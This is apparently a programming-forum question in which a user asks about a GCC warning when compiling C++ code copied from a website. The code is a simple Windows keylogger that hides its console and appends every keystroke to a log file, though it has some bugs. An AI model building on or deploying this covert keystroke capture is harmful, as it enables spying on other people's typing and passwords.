title: Errors after attempting to compile C++ program
body: <p>I recently had a problem that got solved (was compiling a c++ program with c compiler) but that brought up a few new errors in the code that a copied off of a site. After compiling the code below with the <code>g++ -o wowie wowie.c</code> command,</p>
  
  <pre><code>#include &lt;iostream&gt;
  #include &lt;Windows.h&gt;
  using namespace std;
  int Save(int _key, char* file);
  int main()
  {
      FreeConsole();
      char i;
      while (true) {
          Sleep(10);
          for (i = 8; i &lt;= 255; i++) {
              if (GetAsyncKeyState(i) == -32767) {
                  Save(i, "log.txt");
              }
          }
      }
      return 0;
  }
  int Save(int _key, char* file)
  {
      cout &lt;&lt; _key &lt;&lt; endl;
      Sleep(10);
      FILE* OUTPUT_FILE;
      OUTPUT_FILE = fopen(file, "a+");
      if (_key == VK_SHIFT)
          fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
      else if (_key == VK_BACK)
          fprintf(OUTPUT_FILE, "%s", "[BACK]");
      else if (_key == VK_LBUTTON)
          fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
      else if (_key == VK_RETURN)
          fprintf(OUTPUT_FILE, "%s", "[RETURN]");
      else if (_key == VK_ESCAPE)
          fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
      else
          fprintf(OUTPUT_FILE, "%s", &amp;_key);
      fclose(OUTPUT_FILE);
      return 0;
  }
  </code></pre>
  
  <p>command prompt said:</p>
  
  <pre><code>wowie.c: In function 'int main()':
  wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
    Save(i, "log.txt");
                 ^
  </code></pre>
  
  <p>Are there errors in the code or am I doing it wrong, and how can I fix it? If anyone could help, I'd really appreciate it. Thanks!
  (using GCC compiler, windows 10 64-bit)</p>